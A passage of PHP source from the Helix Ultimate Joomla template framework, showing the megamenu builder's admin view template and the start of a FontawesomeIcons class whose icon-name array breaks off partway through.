$current_menu_id = $this->form->getValue('id');
$JMenuSite = new SiteMenu;
$module_list = $this->getModuleNameById();

$fontawesome = new FontawesomeIcons;

$mega_align = array(
	'left' 		=> Text::_('HELIX_ULTIMATE_GLOBAL_LEFT'),
	'center' 	=> Text::_('HELIX_ULTIMATE_GLOBAL_CENTER'),
	'right' 	=> Text::_('HELIX_ULTIMATE_GLOBAL_RIGHT'),
	'full' 		=> Text::_('HELIX_ULTIMATE_GLOBAL_FULL'),
);

$dropdown_list = array(
	'left' 	=> Text::_('HELIX_ULTIMATE_GLOBAL_LEFT'),
	'right' => Text::_('HELIX_ULTIMATE_GLOBAL_RIGHT')
);

$menu_width = 600;
$align = 'right';
$layout = array();
$enable_megamenu = 0;
$show_title = 1;
$custom_class = '';
$faicon = '';
$dropdown = 'right';
$badge = '';
$badge_position = '';
$badge_bg_color = '';
$badge_text_color = '';
$display_class = '';
$dropdown_class = '';
$unique_menu_item_count = 0;

if (isset($menu_data->megamenu))
{
	$enable_megamenu = $menu_data->megamenu;
}

if (isset($menu_data->width))
{
	$menu_width = $menu_data->width;
}

if (isset($menu_data->menualign))
{
	$align = $menu_data->menualign;
}

if (isset($menu_data->layout))
{
	$layout = $menu_data->layout;
}

if (isset($menu_data->showtitle))
{
	$show_title = $menu_data->showtitle;
}

if (isset($menu_data->customclass))
{
	$custom_class = $menu_data->customclass;
}

if (isset($menu_data->faicon) && $menu_data->faicon)
{
	$faicon = $menu_data->faicon;
}

if (isset($menu_data->dropdown))
{
	$dropdown = $menu_data->dropdown;
}

if (isset($menu_data->badge))
{
	$badge = $menu_data->badge;
}

if (isset($menu_data->badge_position))
{
	$badge_position = $menu_data->badge_position;
}

if (isset($menu_data->badge_bg_color))
{
	$badge_bg_color = $menu_data->badge_bg_color;
}

if (isset($menu_data->badge_text_color))
{
	$badge_text_color = $menu_data->badge_text_color;
}


if (!$enable_megamenu)
{
	$display_class = ' hide-menu-builder';
}
else
{
	$dropdown_class = ' hide-menu-builder';
}

$custom_class_label = Text::_('HELIX_ULTIMATE_MENU_CUSTOM_CLASS');

$badge_label = Text::_('HELIX_ULTIMATE_MENU_BADGE_TEXT');

$unique_menu_items = $this->uniqueMenuItems($current_menu_id, $layout);

if ($unique_menu_items)
{
	$unique_menu_item_count = count($unique_menu_items);
}
?>

	<div class="hu-row">
	<div class="hu-col-sm-9">
		
		<div class="hu-megamenu-wrap">

			<div class="hu-megamenu-actions">
				<?php
				if ((int) $menu_item->parent_id === 1)
				{
					echo $this->switchFieldHTML('toggler', Text::_('HELIX_ULTIMATE_MENU_ENABLED'), $enable_megamenu);
					echo $this->textFieldHTML('width', Text::_('HELIX_ULTIMATE_MENU_SUB_WIDTH'), 400, $menu_width, 'number', $display_class);
					echo $this->selectFieldHTML('alignment', Text::_('HELIX_ULTIMATE_MENU_SUB_ALIGNMENT'), $mega_align, $align, $display_class);
				}

				echo $this->switchFieldHTML('title-toggler', Text::_('HELIX_ULTIMATE_MENU_SHOW_TITLE'), $show_title);

				echo $this->selectFieldHTML('dropdown', 'Dropdown Position', $dropdown_list, $dropdown, $dropdown_class);

				echo $this->selectFieldHTML('fa-icon', Text::_('HELIX_ULTIMATE_MENU_ICON'), $fontawesome->getIcons(), $faicon);

				echo $this->textFieldHTML('custom-class', $custom_class_label, '', $custom_class);

				echo $this->textFieldHTML('menu-badge', $badge_label, '', $badge);

				echo $this->selectFieldHTML('badge-position', 'Badge Position', $dropdown_list, $badge_position);

				echo $this->colorFieldHTML('bg-color', 'Background Color', '#333333', $badge_bg_color);

				echo $this->colorFieldHTML('text-color', 'Text Color', '#ffffff', $badge_text_color);
				?>
			</div>

			<div id="hu-megamenu-layout" class="hu-megamenu-layout hu-megamenu-field-control<?php echo ($enable_megamenu != 1)?' hide-menu-builder':''?>" data-megamenu="<?php echo $enable_megamenu; ?>" data-width="<?php echo $menu_width; ?>" data-menualign="<?php echo $align; ?>" data-dropdown="<?php echo $dropdown; ?>" data-showtitle="<?php echo $show_title; ?>" data-customclass="<?php echo $custom_class; ?>" data-faicon="<?php echo $faicon; ?>" data-dropdown="<?php echo $dropdown; ?>" data-badge="<?php echo $badge; ?>" data-badge_position="<?php echo $badge_position; ?>" data-badge_bg_color="<?php echo $badge_bg_color; ?>" data-badge_text_color="<?php echo $badge_text_color; ?>">
				
				<?php if ($layout) { $col_number = 0; ?>
					<?php foreach ($layout as $key => $row) { ?>
						<div class="hu-megamenu-row">
							<div class="hu-megamenu-row-actions clearfix">
								<div class="hu-action-move-row"> <span class="fas fa-sort" aria-hidden="true"></span> Row</div>
								<a href="#" class="hu-action-detele-row"><span class="fas fa-trash" aria-hidden="true"></span></a>
							</div>

							<div class="hu-row">

								<?php if (! empty($row->attr) ) { ?>
									<?php foreach ($row->attr as $col_key => $col) { ?>

										<div class="hu-megmenu-col hu-col-sm-<?php echo $col->colGrid; ?>" data-grid="<?php echo $col->colGrid; ?>">
											<div class="hu-megamenu-column">

												<div class="hu-megamenu-column-actions">
													<span class="hu-action-move-column"><span class="fas fa-arrows-alt" aria-hidden="true"></span> Column</span>
												</div>

												<?php
													$col_list = '<div class="hu-megamenu-item-list">';
													if ( isset($col->items) && count($col->items))
													{
														foreach ($col->items as $item)
														{
															
															if ($item->type === 'module')
															{
																$modules = $this->getModuleNameById($item->item_id);
																$title = $modules->title . '<a href="javascript:;" class="hu-megamenu-remove-module"><span class="fas fa-times" aria-hidden="true"></span></a>';
															}
															elseif ($item->type === 'menu_item')
															{
																$title = $JMenuSite->getItem($item->item_id)->title;
															}

															$col_list .= '<div class="hu-megamenu-item" data-mod_id="'. $item->item_id .'" data-type="'. $item->type .'">';
															$col_list .= '<div class="hu-megamenu-item-module">';
															$col_list .= '<div class="hu-megamenu-item-module-title">' . $title . '</div>';
															$col_list .= '</div>';
															$col_list .= '</div>';
														}
													}

													if ($unique_menu_item_count && (int) $col_number === 0)
													{
														$col_number++;

														foreach ($unique_menu_items as $key => $item_id)
														{
															$col_list .= '<div class="hu-megamenu-item" data-mod_id="' . $item_id .'" data-type="menu_item">';
															$col_list .= '<div class="hu-megamenu-item-module">';
															$col_list .= '<div class="hu-megamenu-item-module-title">' . $JMenuSite->getItem($item_id)->title .'</div>';
															$col_list .= '</div>';
															$col_list .= '</div>';
														}
													}

													$col_list .= '</div>';
													echo $col_list;
												?>

											</div>
										</div>

									<?php } ?>
								<?php } ?>

							</div>
						</div>

					<?php } ?>
				<?php } ?>

			</div>

		</div>

		<div class="hu-megamenu-add-row hu-megamenu-field-control clearfix<?php echo ($enable_megamenu != 1)?' hide-menu-builder':''?>">
			<button id="hu-choose-megamenu-layout" class="hu-choose-megamenu-layout"><span class="fas fa-plus-circle" aria-hidden="true"></span> Add New Row</button>
			<div class="hu-megamenu-modal" id="hu-megamenu-layout-modal" style="display: none;" >
				<div class="hu-row">

				<?php foreach ($this->row_layouts as $row_layout) { $col_grids = explode('+', $row_layout); ?>
					<div class="hu-col-sm-4">
						<div class="hu-megamenu-grids" data-layout="<?php echo $row_layout; ?>">
							<div class="hu-row">

								<?php foreach ($col_grids as $col_grid) { ?>
									<div class="hu-col-sm-<?php echo $col_grid; ?>"><div><?php echo $col_grid; ?></div></div>
								<?php } ?>

							</div>
						</div>
					</div>

				<?php } ?>

				</div>
			</div>
		</div> <!-- End of Row Layout Structure -->

	</div>

	<?php if ((int) $menu_item->parent_id === 1 && $module_list) : ?>
		<div class="hu-col-sm-3">
			<div class="hu-megamenu-sidebar <?php echo ($enable_megamenu != 1) ? ' hide-menu-builder' : ''; ?>">
				<h3><span class="fas fa-bars" aria-hidden="true"></span> <?php echo Text::_('HELIX_ULTIMATE_MENU_MODULE_LIST'); ?></h3>
				<div class="hu-megamenu-module-list">
					<?php foreach ($module_list as $module) : ?>
						<div class="hu-megamenu-draggable-module" data-mod_id="<?php echo $module->id; ?>" data-type="module"><span class="fas fa-arrows-alt" aria-hidden="true"></span> <?php echo $module->title; ?></div>
					<?php endforeach; ?>
				</div>
			</div>
		</div> <!-- End of Module List -->
		<?php endif; ?>

	</div>
PK!��/��/helixultimate/src/Core/Lib/FontawesomeIcons.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\Core\Lib;

defined('_JEXEC') or die('restricted aceess');

/**
 * Class for font-awesome icons.
 *
 * @since	2.0.0
 */
class FontawesomeIcons
{
	/**
	 * Font-awesome 5 free icons
	 *
	 * @var		array	The icons class list
	 * @since	2.0.0
	 */
	private $fa5_classes = ["fab fa-500px", "fab fa-accessible-icon", "fab fa-accusoft", "fab fa-acquisitions-incorporated", "fas fa-ad", "far fa-address-book", "far fa-address-card", "fas fa-adjust", "fab fa-adn", "fab fa-adversal", "fab fa-affiliatetheme", "fas fa-air-freshener", "fab fa-airbnb", "fab fa-algolia", "fas fa-align-center", "fas fa-align-justify", "fas fa-align-left", "fas fa-align-right", "fab fa-alipay", "fas fa-allergies", "fab fa-amazon", "fab fa-amazon-pay", "fas fa-ambulance", "fas fa-american-sign-language-interpreting", "fab fa-amilia", "fas fa-anchor", "fab fa-android", "fab fa-angellist", "fas fa-angle-double-down", "fas fa-angle-double-left", "fas fa-angle-double-right", "fas fa-angle-double-up", "fas fa-angle-down", "fas fa-angle-left", "fas fa-angle-right", "fas fa-angle-up", "far fa-angry", "fab fa-angrycreative", "fab fa-angular", "fas fa-ankh", "fab fa-app-store", "fab fa-app-store-ios", "fab fa-apper", "fab fa-apple", "fas fa-apple-alt", "fab fa-apple-pay", "fas fa-archive", "fas fa-archway", "far fa-arrow-alt-circle-down", "far fa-arrow-alt-circle-left", "far fa-arrow-alt-circle-right", "far fa-arrow-alt-circle-up", "fas fa-arrow-circle-down", "fas fa-arrow-circle-left", "fas fa-arrow-circle-right", "fas fa-arrow-circle-up", "fas fa-arrow-down", "fas fa-arrow-left", "fas fa-arrow-right", "fas fa-arrow-up", "fas fa-arrows-alt", "fas fa-arrows-alt-h", "fas fa-arrows-alt-v", "fab fa-artstation", "fas fa-assistive-listening-systems", "fas fa-asterisk", "fab fa-asymmetrik", "fas fa-at", "fas fa-atlas", "fab fa-atlassian", "fas fa-atom", "fab fa-audible", "fas fa-audio-description", "fab fa-autoprefixer", "fab fa-avianex", "fab fa-aviato", "fas fa-award", "fab fa-aws", "fas fa-baby", "fas fa-baby-carriage", "fas fa-backspace", "fas fa-backward", "fas fa-bacon", "fas fa-bacteria", "fas fa-bacterium", "fas fa-bahai", "fas fa-balance-scale", "fas fa-balance-scale-left", "fas fa-balance-scale-right", "fas fa-ban", "fas fa-band-aid", "fab fa-bandcamp", "fas fa-barcode", "fas fa-bars", "fas fa-baseball-ball", "fas fa-basketball-ball", "fas fa-bath", "fas fa-battery-empty", "fas fa-battery-full", "fas fa-battery-half", "fas fa-battery-quarter", "fas fa-battery-three-quarters", "fab fa-battle-net", "fas fa-bed", "fas fa-beer", "fab fa-behance", "fab fa-behance-square", "far fa-bell", "far fa-bell-slash", "fas fa-bezier-curve", "fas fa-bible", "fas fa-bicycle", "fas fa-biking", "fab fa-bimobject", "fas fa-binoculars", "fas fa-biohazard", "fas fa-birthday-cake", "fab fa-bitbucket", "fab fa-bitcoin", "fab fa-bity", "fab fa-black-tie", "fab fa-blackberry", "fas fa-blender", "fas fa-blender-phone", "fas fa-blind", "fas fa-blog", "fab fa-blogger", "fab fa-blogger-b", "fab fa-bluetooth", "fab fa-bluetooth-b", "fas fa-bold", "fas fa-bolt", "fas fa-bomb", "fas fa-bone", "fas fa-bong", "fas fa-book", "fas fa-book-dead", "fas fa-book-medical", "fas fa-book-open", "fas fa-book-reader", "far fa-bookmark", "fab fa-bootstrap", "fas fa-border-all", "fas fa-border-none", "fas fa-border-style", "fas fa-bowling-ball", "fas fa-box", "fas fa-box-open", "fas fa-box-tissue", "fas fa-boxes", "fas fa-braille", "fas fa-brain", "fas fa-bread-slice", "fas fa-briefcase", "fas fa-briefcase-medical", "fas fa-broadcast-tower", "fas fa-broom", "fas fa-brush", "fab fa-btc", "fab fa-buffer", "fas fa-bug", "far fa-building", "fas fa-bullhorn", "fas fa-bullseye", "fas fa-burn", "fab fa-buromobelexperte", "fas fa-bus", "fas fa-bus-alt", "fas fa-business-time", "fab fa-buy-n-large", "fab fa-buysellads", "fas fa-calculator", "far fa-calendar", "far fa-calendar-alt", "far fa-calendar-check", "fas fa-calendar-day", "far fa-calendar-minus", "far fa-calendar-plus", "far fa-calendar-times", "fas fa-calendar-week", "fas fa-camera", "fas fa-camera-retro", "fas fa-campground", "fab fa-canadian-maple-leaf", "fas fa-candy-cane", "fas fa-cannabis", "fas fa-capsules", "fas fa-car", "fas fa-car-alt", "fas fa-car-battery", "fas fa-car-crash", "fas fa-car-side", "fas fa-caravan", "fas fa-caret-down", "fas fa-caret-left", "fas fa-caret-right", "far fa-caret-square-down", "far fa-caret-square-left", "far fa-caret-square-right", "far fa-caret-square-up", "fas fa-caret-up", "fas fa-carrot", "fas fa-cart-arrow-down", "fas fa-cart-plus", "fas fa-cash-register", "fas fa-cat", "fab fa-cc-amazon-pay", "fab fa-cc-amex", "fab fa-cc-apple-pay", "fab fa-cc-diners-club", "fab fa-cc-discover", "fab fa-cc-jcb", "fab fa-cc-mastercard", "fab fa-cc-paypal", "fab fa-cc-stripe", "fab fa-cc-visa", "fab fa-centercode", "fab fa-centos", "fas fa-certificate", "fas fa-chair", "fas fa-chalkboard", "fas fa-chalkboard-teacher", "fas fa-charging-station", "fas fa-chart-area", "far fa-chart-bar", "fas fa-chart-line", "fas fa-chart-pie", "fas fa-check", "far fa-check-circle", "fas fa-check-double", "far fa-check-square", "fas fa-cheese", "fas fa-chess", "fas fa-chess-bishop", "fas fa-chess-board", "fas fa-chess-king", "fas fa-chess-knight", "fas fa-chess-pawn", "fas fa-chess-queen", "fas fa-chess-rook", "fas fa-chevron-circle-down", "fas fa-chevron-circle-left", "fas fa-chevron-circle-right", "fas fa-chevron-circle-up", "fas fa-chevron-down", "fas fa-chevron-left", "fas fa-chevron-right", "fas fa-chevron-up", "fas fa-child", "fab fa-chrome", "fab fa-chromecast", "fas fa-church", "far fa-circle", "fas fa-circle-notch", "fas fa-city", "fas fa-clinic-medical", "far fa-clipboard", "fas fa-clipboard-check", "fas fa-clipboard-list", "far fa-clock", "far fa-clone", "far fa-closed-captioning", "fas fa-cloud", "fas fa-cloud-download-alt", "fas fa-cloud-meatball", "fas fa-cloud-moon", "fas fa-cloud-moon-rain", "fas fa-cloud-rain", "fas fa-cloud-showers-heavy", "fas fa-cloud-sun", "fas fa-cloud-sun-rain", "fas fa-cloud-upload-alt", "fab fa-cloudflare", "fab fa-cloudscale", "fab fa-cloudsmith", "fab fa-cloudversify", "fas fa-cocktail", "fas fa-code", "fas fa-code-branch", "fab fa-codepen", "fab fa-codiepie", "fas fa-coffee", "fas fa-cog", "fas fa-cogs", "fas fa-coins", "fas fa-columns", "far fa-comment", "far fa-comment-alt", "fas fa-comment-dollar", "far fa-comment-dots", "fas fa-comment-medical", "fas fa-comment-slash", "far fa-comments", "fas fa-comments-dollar", "fas fa-compact-disc", "far fa-compass", "fas fa-compress", "fas fa-compress-alt", "fas fa-compress-arrows-alt", "fas fa-concierge-bell", "fab fa-confluence", "fab fa-connectdevelop", "fab fa-contao", "fas fa-cookie", "fas fa-cookie-bite", "far fa-copy", "far fa-copyright", "fab fa-cotton-bureau", "fas fa-couch", "fab fa-cpanel", "fab fa-creative-commons", "fab fa-creative-commons-by", "fab fa-creative-commons-nc", "fab fa-creative-commons-nc-eu", "fab fa-creative-commons-nc-jp", "fab fa-creative-commons-nd", "fab fa-creative-commons-pd", "fab fa-creative-commons-pd-alt", "fab fa-creative-commons-remix", "fab fa-creative-commons-sa", "fab fa-creative-commons-sampling", "fab fa-creative-commons-sampling-plus", "fab fa-creative-commons-share", "fab fa-creative-commons-zero", "far fa-credit-card", "fab fa-critical-role", "fas fa-crop", "fas fa-crop-alt", "fas fa-cross", "fas fa-crosshairs", "fas fa-crow", "fas fa-crown", "fas fa-crutch", "fab fa-css3", "fab fa-css3-alt", "fas fa-cube", "fas fa-cubes", "fas fa-cut", "fab fa-cuttlefish", "fab fa-d-and-d", "fab fa-d-and-d-beyond", "fab fa-dailymotion", "fab fa-dashcube", "fas fa-database", "fas fa-deaf", "fab fa-deezer", "fab fa-delicious", "fas fa-democrat", "fab fa-deploydog", "fab fa-deskpro", "fas fa-desktop", "fab fa-dev", "fab fa-deviantart", "fas fa-dharmachakra", "fab fa-dhl", "fas fa-diagnoses", "fab fa-diaspora", "fas fa-dice", "fas fa-dice-d20", "fas fa-dice-d6", "fas fa-dice-five", "fas fa-dice-four", "fas fa-dice-one", "fas fa-dice-six", "fas fa-dice-three", "fas fa-dice-two", "fab fa-digg", "fab fa-digital-ocean", "fas fa-digital-tachograph", "fas fa-directions", "fab fa-discord", "fab fa-discourse", "fas fa-disease", "fas fa-divide", "far fa-dizzy", "fas fa-dna", "fab fa-dochub", "fab fa-docker", "fas fa-dog", "fas fa-dollar-sign", "fas fa-dolly", "fas fa-dolly-flatbed", "fas fa-donate", "fas fa-door-closed", "fas fa-door-open", "far fa-dot-circle", "fas fa-dove", "fas fa-download", "fab fa-draft2digital", "fas fa-drafting-compass", "fas fa-dragon", "fas fa-draw-polygon", "fab fa-dribbble", "fab fa-dribbble-square", "fab fa-dropbox", "fas fa-drum", "fas fa-drum-steelpan", "fas fa-drumstick-bite", "fab fa-drupal", "fas fa-dumbbell", "fas fa-dumpster", "fas fa-dumpster-fire", "fas fa-dungeon", "fab fa-dyalog", "fab fa-earlybirds", "fab fa-ebay", "fab fa-edge", "fab fa-edge-legacy", "far fa-edit", "fas fa-egg", "fas fa-eject", "fab fa-elementor", "fas fa-ellipsis-h", "fas fa-ellipsis-v", "fab fa-ello", "fab fa-ember", "fab fa-empire", "far fa-envelope", "far fa-envelope-open", "fas fa-envelope-open-text", "fas fa-envelope-square", "fab fa-envira", "fas fa-equals", "fas fa-eraser", "fab fa-erlang", "fab fa-ethereum", "fas fa-ethernet", "fab fa-etsy", "fas fa-euro-sign", "fab fa-evernote", "fas fa-exchange-alt", "fas fa-exclamation", "fas fa-exclamation-circle", "fas fa-exclamation-triangle", "fas fa-expand", "fas fa-expand-alt", "fas fa-expand-arrows-alt", "fab fa-expeditedssl", "fas fa-external-link-alt", "fas fa-external-link-square-alt", "far fa-eye", "fas fa-eye-dropper", "far fa-eye-slash", "fab fa-facebook", "fab fa-facebook-f", "fab fa-facebook-messenger", "fab fa-facebook-square", "fas fa-fan", "fab fa-fantasy-flight-games", "fas fa-fast-backward", "fas fa-fast-forward", "fas fa-faucet", "fas fa-fax", "fas fa-feather", "fas fa-feather-alt", "fab fa-fedex", "fab fa-fedora", "fas fa-female", "fas fa-fighter-jet", "fab fa-figma", "far fa-file", "far fa-file-alt", "far fa-file-archive", "far fa-file-audio", "far fa-file-code", "fas fa-file-contract", "fas fa-file-csv", "fas fa-file-download", "far fa-file-excel", "fas fa-file-export", "far fa-file-image", "fas fa-file-import", "fas fa-file-invoice", "fas fa-file-invoice-dollar", "fas fa-file-medical", "fas fa-file-medical-alt", "far fa-file-pdf", "far fa-file-powerpoint", "fas fa-file-prescription", "fas fa-file-signature", "fas fa-file-upload", "far fa-file-video", "far fa-file-word", "fas fa-fill", "fas fa-fill-drip", "fas fa-film", "fas fa-filter", "fas fa-fingerprint", "fas fa-fire", "fas fa-fire-alt", "fas fa-fire-extinguisher", "fab fa-firefox", "fab fa-firefox-browser", "fas fa-first-aid", "fab fa-first-order", "fab fa-first-order-alt", "fab fa-firstdraft", "fas fa-fish", "fas fa-fist-raised", "far fa-flag", "fas fa-flag-checkered", "fas fa-flag-usa", "fas fa-flask", "fab fa-flickr", "fab fa-flipboard", "far fa-flushed", "fab fa-fly", "far fa-folder", "fas fa-folder-minus", "far fa-folder-open", "fas fa-folder-plus", "fas fa-font", "fab fa-font-awesome", "fab fa-font-awesome-alt", "fab fa-font-awesome-flag", "fab fa-font-awesome-logo-full", "fab fa-fonticons", "fab fa-fonticons-fi", "fas fa-football-ball", "fab fa-fort-awesome", "fab fa-fort-awesome-alt", "fab fa-forumbee", "fas fa-forward", "fab fa-foursquare", "fab fa-free-code-camp", "fab fa-freebsd", "fas fa-frog", "far fa-frown", "far fa-frown-open", "fab fa-fulcrum", "fas fa-funnel-dollar", "far fa-futbol", "fab fa-galactic-republic", "fab fa-galactic-senate", "fas fa-gamepad", "fas fa-gas-pump", "fas fa-gavel", "far fa-gem", "fas fa-genderless", "fab fa-get-pocket", "fab fa-gg", "fab fa-gg-circle", "fas fa-ghost", "fas fa-gift", "fas fa-gifts", "fab fa-git", "fab fa-git-alt", "fab fa-git-square", "fab fa-github", "fab fa-github-alt", "fab fa-github-square", "fab fa-gitkraken", "fab fa-gitlab", "fab fa-gitter", "fas fa-glass-cheers", "fas fa-glass-martini", "fas fa-glass-martini-alt", "fas fa-glass-whiskey", "fas fa-glasses", "fab fa-glide", "fab fa-glide-g", "fas fa-globe", "fas fa-globe-africa", "fas fa-globe-americas", "fas fa-globe-asia", "fas fa-globe-europe", "fab fa-gofore", "fas fa-golf-ball", "fab fa-goodreads", "fab fa-goodreads-g", "fab fa-google", "fab fa-google-drive", "fab fa-google-pay", "fab fa-google-play", "fab fa-google-plus", "fab fa-google-plus-g", "fab fa-google-plus-square", "fab fa-google-wallet", "fas fa-gopuram", "fas fa-graduation-cap", "fab fa-gratipay", "fab fa-grav", "fas fa-greater-than", "fas fa-greater-than-equal", "far fa-grimace", "far fa-grin", "far fa-grin-alt", "far fa-grin-beam", "far fa-grin-beam-sweat", "far fa-grin-hearts", "far fa-grin-squint", "far fa-grin-squint-tears", "far fa-grin-stars", "far fa-grin-tears", "far fa-grin-tongue", "far fa-grin-tongue-squint", "far fa-grin-tongue-wink", "far fa-grin-wink", "fas fa-grip-horizontal", "fas fa-grip-lines", "fas fa-grip-lines-vertical", "fas fa-grip-vertical", "fab fa-gripfire", "fab fa-grunt", "fab fa-guilded", "fas fa-guitar", "fab fa-gulp", "fas fa-h-square", "fab fa-hacker-news", "fab fa-hacker-news-square", "fab fa-hackerrank", "fas fa-hamburger", "fas fa-hammer", "fas fa-hamsa", "fas fa-hand-holding", "fas fa-hand-holding-heart", "fas fa-hand-holding-medical", "fas fa-hand-holding-usd", "fas fa-hand-holding-water", "far fa-hand-lizard", "fas fa-hand-middle-finger", "far fa-hand-paper", "far fa-hand-peace", "far fa-hand-point-down", "far fa-hand-point-left", "far fa-hand-point-right", "far fa-hand-point-up", "far fa-hand-pointer", "far fa-hand-rock", "far fa-hand-scissors", "fas fa-hand-sparkles", "far fa-hand-spock", "fas fa-hands", "fas fa-hands-helping", "fas fa-hands-wash", "far fa-handshake", "fas fa-handshake-alt-slash", "fas fa-handshake-slash", "fas fa-hanukiah", "fas fa-hard-hat", "fas fa-hashtag", "fas fa-hat-cowboy", "fas fa-hat-cowboy-side", "fas fa-hat-wizard", "far fa-hdd", "fas fa-head-side-cough", "fas fa-head-side-cough-slash", "fas fa-head-side-mask", "fas fa-head-side-virus", "fas fa-heading", "fas fa-headphones", "fas fa-headphones-alt", "fas fa-headset", "far fa-heart", "fas fa-heart-broken", "fas fa-heartbeat", "fas fa-helicopter", "fas fa-highlighter", "fas fa-hiking", "fas fa-hippo", "fab fa-hips", "fab fa-hire-a-helper", "fas fa-history", "fab fa-hive", "fas fa-hockey-puck", "fas fa-holly-berry", "fas fa-home", "fab fa-hooli", "fab fa-hornbill", "fas fa-horse", "fas fa-horse-head", "far fa-hospital", "fas fa-hospital-alt", "fas fa-hospital-symbol", "fas fa-hospital-user", "fas fa-hot-tub", "fas fa-hotdog", "fas fa-hotel", "fab fa-hotjar", "far fa-hourglass", "fas fa-hourglass-end", "fas fa-hourglass-half", "fas fa-hourglass-start", "fas fa-house-damage", "fas fa-house-user", "fab fa-houzz", "fas fa-hryvnia", "fab fa-html5", "fab fa-hubspot", "fas fa-i-cursor", "fas fa-ice-cream", "fas fa-icicles", "fas fa-icons", "far fa-id-badge", "far fa-id-card", "fas fa-id-card-alt", "fab fa-ideal", "fas fa-igloo", "far fa-image", "far fa-images", "fab fa-imdb", "fas fa-inbox", "fas fa-indent", "fas fa-industry", "fas fa-infinity", "fas fa-info", "fas fa-info-circle", "fab fa-innosoft", "fab fa-instagram", "fab fa-instagram-square", "fab fa-instalod", "fab fa-intercom", "fab fa-internet-explorer", "fab fa-invision", "fab fa-ioxhost", "fas fa-italic", "fab fa-itch-io", "fab fa-itunes", "fab fa-itunes-note", "fab fa-java", "fas fa-jedi", "fab fa-jedi-order", "fab fa-jenkins", "fab fa-jira", "fab fa-joget", "fas fa-joint", "fab fa-joomla", "fas fa-journal-whills", "fab fa-js", "fab fa-js-square", "fab fa-jsfiddle", "fas fa-kaaba", "fab fa-kaggle", "fas fa-key", "fab fa-keybase", "far fa-keyboard", "fab fa-keycdn", "fas fa-khanda", "fab fa-kickstarter", "fab fa-kickstarter-k", "far fa-kiss", "far fa-kiss-beam", "far fa-kiss-wink-heart", "fas fa-kiwi-bird", "fab fa-korvue", "fas fa-landmark", "fas fa-language", "fas fa-laptop", "fas fa-laptop-code", "fas fa-laptop-house", "fas fa-laptop-medical", "fab fa-laravel", "fab fa-lastfm", "fab fa-lastfm-square", "far fa-laugh", "far fa-laugh-beam", "far fa-laugh-squint", "far fa-laugh-wink", "fas fa-layer-group", "fas fa-leaf", "fab fa-leanpub", "far fa-lemon", "fab fa-less", "fas fa-less-than", "fas fa-less-than-equal", "fas fa-level-down-alt", "fas fa-level-up-alt", "far fa-life-ring", "far fa-lightbulb", "fab fa-line", "fas fa-link", "fab fa-linkedin", "fab fa-linkedin-in", "fab fa-linode", "fab fa-linux", "fas fa-lira-sign", "fas fa-list", "far fa-list-alt", "fas fa-list-ol", "fas fa-list-ul", "fas fa-location-arrow", "fas fa-lock", "fas fa-lock-open", "fas fa-long-arrow-alt-down", "fas fa-long-arrow-alt-left", "fas fa-long-arrow-alt-right", "fas fa-long-arrow-alt-up", "fas fa-low-vision", "fas fa-luggage-cart", "fas fa-lungs", "fas fa-lungs-virus", "fab fa-lyft", "fab fa-magento", "fas fa-magic", "fas fa-magnet", "fas fa-mail-bulk", "fab fa-mailchimp", "fas fa-male", "fab fa-mandalorian", "far fa-map", "fas fa-map-marked", "fas fa-map-marked-alt", "fas fa-map-marker", "fas fa-map-marker-alt", "fas fa-map-pin", "fas fa-map-signs", "fab fa-markdown", "fas fa-marker", "fas fa-mars", "fas fa-mars-double", "fas fa-mars-stroke", "fas fa-mars-stroke-h", "fas fa-mars-stroke-v", "fas fa-mask", "fab fa-mastodon", "fab fa-maxcdn", "fab fa-mdb", "fas fa-medal", "fab fa-medapps", "fab fa-medium", "fab fa-medium-m", "fas fa-medkit", "fab fa-medrt", "fab fa-meetup", "fab fa-megaport", "far fa-meh", "far fa-meh-blank", "far fa-meh-rolling-eyes", "fas fa-memory", "fab fa-mendeley", "fas fa-menorah", "fas fa-mercury", "fas fa-meteor", "fab fa-microblog", "fas fa-microchip", "fas fa-microphone", "fas fa-microphone-alt", "fas fa-microphone-alt-slash", "fas fa-microphone-slash", "fas fa-microscope", "fab fa-microsoft", "fas fa-minus", "fas fa-minus-circle", "far fa-minus-square", "fas fa-mitten", "fab fa-mix", "fab fa-mixcloud", "fab fa-mixer", "fab fa-mizuni", "fas fa-mobile", "fas fa-mobile-alt", "fab fa-modx", "fab fa-monero", "fas fa-money-bill", "far fa-money-bill-alt", "fas fa-money-bill-wave", "fas fa-money-bill-wave-alt", "fas fa-money-check", "fas fa-money-check-alt", "fas fa-monument", "far fa-moon", "fas fa-mortar-pestle", "fas fa-mosque", "fas fa-motorcycle", "fas fa-mountain", "fas fa-mouse", "fas fa-mouse-pointer", "fas fa-mug-hot", "fas fa-music", "fab fa-napster", "fab fa-neos", "fas fa-network-wired", "fas fa-neuter", "far fa-newspaper", "fab fa-nimblr", "fab fa-node", "fab fa-node-js", "fas fa-not-equal", "fas fa-notes-medical", "fab fa-npm", "fab fa-ns8", "fab fa-nutritionix", "far fa-object-group", "far fa-object-ungroup", "fab fa-octopus-deploy", "fab fa-odnoklassniki", "fab fa-odnoklassniki-square", "fas fa-oil-can", "fab fa-old-republic", "fas fa-om", "fab fa-opencart", "fab fa-openid", "fab fa-opera", "fab fa-optin-monster", "fab fa-orcid", "fab fa-osi", "fas fa-otter", "fas fa-outdent", "fab fa-page4", "fab fa-pagelines", "fas fa-pager", "fas fa-paint-brush", "fas fa-paint-roller", "fas fa-palette", "fab fa-palfed", "fas fa-pallet", "far fa-paper-plane", "fas fa-paperclip", "fas fa-parachute-box", "fas fa-paragraph", "fas fa-parking", "fas fa-passport", "fas fa-pastafarianism", "fas fa-paste", "fab fa-patreon", "fas fa-pause", "far fa-pause-circle", "fas fa-paw", "fab fa-paypal", "fas fa-peace", "fas fa-pen", "fas fa-pen-alt", "fas fa-pen-fancy", "fas fa-pen-nib", "fas fa-pen-square", "fas fa-pencil-alt", "fas fa-pencil-ruler", "fab fa-penny-arcade", "fas fa-people-arrows", "fas fa-people-carry", "fas fa-pepper-hot", "fab fa-perbyte", "fas fa-percent", "fas fa-percentage", "fab fa-periscope", "fas fa-person-booth", "fab fa-phabricator", "fab fa-phoenix-framework", "fab fa-phoenix-squadron", "fas fa-phone", "fas fa-phone-alt", "fas fa-phone-slash", "fas fa-phone-square", "fas fa-phone-square-alt", "fas fa-phone-volume", "fas fa-photo-video", "fab fa-php", "fab fa-pied-piper", "fab fa-pied-piper-alt", "fab 